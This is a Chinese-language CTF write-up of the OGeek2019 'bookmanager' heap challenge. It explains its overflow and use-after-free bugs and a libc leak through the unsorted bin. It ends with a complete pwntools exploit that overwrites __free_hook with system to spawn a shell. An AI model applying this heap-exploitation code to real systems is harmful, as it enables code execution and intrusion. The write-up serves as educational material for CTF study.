热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

OGeek2019bookmanager

OGeek2019-bookmanager总结本题比较简单,就是题目流程比较复杂一点,用到的知识点就一个:当chunk被放置到unsortedbin中时,其fd指针会指向main_

目录
  • OGeek2019-bookmanager
    • 总结
    • checksec
    • 题目分析
    • 漏洞分析
    • 利用思路
    • 最终EXP
    • 引用与参考


OGeek2019-bookmanager


总结

本题比较简单,就是题目流程比较复杂一点,用到的知识点就一个:



  • chunk被放置到unsorted bin中时,其fd指针会指向main_arena+88这个地址,可以用来泄露libc地址


checksec

技术分享图片

保护全开,题目运行环境为ubuntu 16.04libc-2.23.so


题目分析

题目实现了对书的管理,包括章节、主题等。书所需要的内存都是从堆上分配的。

首先,分配0x90大小的内存,存放书的信息,结构如下:

技术分享图片

然后,每一个章节的结构,也是0x90大小的chunk,内存布局如下:

技术分享图片

然后每个section都是大小为0x40chunk,其内存布局如下:

技术分享图片

text_ptr对应的大小由用户指定,输入大小不超过0x100


漏洞分析

漏洞点有4处,有两处在add_text函数中:

技术分享图片

40行可以输入负数绕过校验,第4547行,如果输入小于0x100的正数,则会越界写。

第三处在remove_section函数中:

技术分享图片

这里存在一个UAF漏洞。

第四出在updapte函数中:

技术分享图片

同样是会越界写,指定了写的大小为0x100

其实还有一个,就是我标注的read_off_by_one函数,会越界写一个字节。但是也要注意,这个函数里有memset(addr, 0, len),会把内存置为0


利用思路

利用思路很多,因为题目漏洞给得实在是太多了,分享我的利用过程如下:



  • 分配一个0x100大小的chunk,作为一个存储text的内存块,前面紧挨着一个0x90的内存块,可以被用作chapter

  • 使用掉高地址的chapter,然后update低地址的text块。由于会把0xff的内存刷为0,所以必须要构造0x100大小的text内存块。直接填满0x100a后。

  • 使用book_preview,就会打印出unsorted binfd内容,得到libc地址

  • update的越界写,修改某个sectiontext_ptr指针,修改为__free_hook的地址

  • 然后update那个sectiontext,就是在往__free_hook写内容,填上system地址

  • 释放带有/bin/sh的内存块,即可获得shell


最终EXP

泄露地址

技术分享图片

修改text_ptr

技术分享图片

修改__free_hooksystem地址

技术分享图片

from pwn import *
LOG_ADDR = lambda x, y: info("{} ===> {}".format(x, hex(y)))
sh = process("./pwn")
libc = ELF(‘libc-2.23.so‘)
context.update(arch="amd64", os="linux", endian="little")
def add_book(book_name):
sh.sendlineafter("Name of the book you want to create: ", book_name)
def add_chapter(chapter_name="abc"):
assert len(chapter_name) <= 20, "len error!"
sh.sendlineafter("\nYour choice:", "1")
sh.sendlineafter("\nChapter name:", chapter_name)
def add_section(chapter_name="abc", section_name="123"):
sh.sendlineafter("\nYour choice:", "2")
sh.sendlineafter("\nWhich chapter do you want to add into:", chapter_name)
leak_msg = sh.recvline()
log.info("msg recv===>{}".format(leak_msg))
sh.sendlineafter("Section name:", section_name)
return leak_msg
def add_text(section_name="123", size:int=0x80, text="a"):
sh.sendlineafter("\nYour choice:", "3")
sh.sendlineafter("\nWhich section do you want to add into:", section_name)
sh.sendlineafter("\nHow many chapters you want to write:", str(size))
sh.sendlineafter("\nText:", text)
def remove_chapter(chapter_name="abc"):
sh.sendlineafter("\nYour choice:", "4")
sh.sendlineafter("\nChapter name:", chapter_name)
def remove_section(section_name="123"):
sh.sendlineafter("\nYour choice:", "5")
sh.sendlineafter("\nSection name:", section_name)
def remove_text(section_name="123"):
sh.sendlineafter("\nYour choice:", "6")
sh.sendlineafter("\nSection name:", section_name)
def book_preview():
sh.sendlineafter("\nYour choice:", "7")
sh.recvuntil("\nBook:")
msg = sh.recvuntil("\n==========================")
log.info("msg recv:{}".format(msg))
return msg
def update(mode=0, old_name="abc", new_name="efg"):
sh.sendlineafter("\nYour choice:", "8")
sh.recvuntil("\nWhat to update?(Chapter/Section/Text):")
if mode == 0:
sh.sendline("Chapter")
sh.sendlineafter("\nChapter name:", old_name)
sh.sendlineafter("\nNew Chapter name:", new_name)
sh.recvuntil("\nUpdated")
elif mode == 1:
sh.sendline("Section")
sh.sendlineafter("\nSection name:", old_name)
sh.sendlineafter("\nNew Section name:", new_name)
sh.recvuntil("\nUpdated")
else:
sh.sendline("Text")
sh.sendlineafter("\nSection name:", old_name)
sh.sendafter("\nNew Text:", new_name)
sh.recvuntil("\nUpdated")
# leak libc addr
add_book("xxe")
add_chapter("a")
add_section("a", "a.a")
add_text("a.a", 0xf0, "a.a.a")
add_chapter("b")
add_section("b", "b.a")
remove_chapter("b")
update(2, "a.a", "a" * 0x100)
msg = book_preview()
idx = msg.index(b"\x7f")
leak_libc_addr = u64(msg[idx-5:idx + 1].ljust(8, b"\x00"))
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# recover
update(2, "a.a", flat("a"*0xf0, 0, 0x91))
add_chapter("b")
add_section("b", "b.a")
remove_text("a.a")
add_text("a.a", 0xb0, "a.a.b")
# change section‘s text_ptr
add_section("a", "/bin/sh")
layout = [0xb0 * "a", 0, 0x41,
"/bin/sh".ljust(8, "\x00"), [0] * 3, libc.sym["__free_hook"], 32]
update(2, "a.a", flat(layout, length=0x100, filler="\x00"))
# fill system addr at __free_hook
update(2, "/bin/sh", flat([libc.sym[‘system‘]], length=0x100, filler="\x00"))
# get shell
remove_section("/bin/sh")
sh.interactive()

远程打:

技术分享图片


引用与参考

1、My Blog

2、Ctf Wiki


推荐阅读
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 本文介绍了C#中数据集DataSet对象的使用及相关方法详解,包括DataSet对象的概述、与数据关系对象的互联、Rows集合和Columns集合的组成,以及DataSet对象常用的方法之一——Merge方法的使用。通过本文的阅读,读者可以了解到DataSet对象在C#中的重要性和使用方法。 ... [详细]
  • 《数据结构》学习笔记3——串匹配算法性能评估
    本文主要讨论串匹配算法的性能评估,包括模式匹配、字符种类数量、算法复杂度等内容。通过借助C++中的头文件和库,可以实现对串的匹配操作。其中蛮力算法的复杂度为O(m*n),通过随机取出长度为m的子串作为模式P,在文本T中进行匹配,统计平均复杂度。对于成功和失败的匹配分别进行测试,分析其平均复杂度。详情请参考相关学习资源。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 导出功能protectedvoidbtnExport(objectsender,EventArgse){用来打开下载窗口stringfileName中 ... [详细]
  • 本文介绍了在Web应用系统中,数据库性能是导致系统性能瓶颈最主要的原因之一,尤其是在大规模系统中,数据库集群已经成为必备的配置之一。文章详细介绍了主从数据库架构的好处和实验环境的搭建方法,包括主数据库的配置文件修改和设置需要同步的数据库等内容。MySQL的主从复制功能在国内外大型网站架构体系中被广泛采用,本文总结了作者在实际的Web项目中的实践经验。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了logistic回归(线性和非线性)相关的知识,包括线性logistic回归的代码和数据集的分布情况。希望对你有一定的参考价值。 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • ubuntu用sqoop将数据从hive导入mysql时,命令: ... [详细]
  • 本文介绍了在Ubuntu下制作deb安装包及离线安装包的方法,通过备份/var/cache/apt/archives文件夹中的安装包,并建立包列表及依赖信息文件,添加本地源,更新源列表,可以在没有网络的情况下更新系统。同时提供了命令示例和资源下载链接。 ... [详细]
  • 本文介绍了在Ubuntu 11.10 x64环境下安装Android开发环境的步骤,并提供了解决常见问题的方法。其中包括安装Eclipse的ADT插件、解决缺少GEF插件的问题以及解决无法找到'userdata.img'文件的问题。此外,还提供了相关插件和系统镜像的下载链接。 ... [详细]
author-avatar
6易0k醉人也s易
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有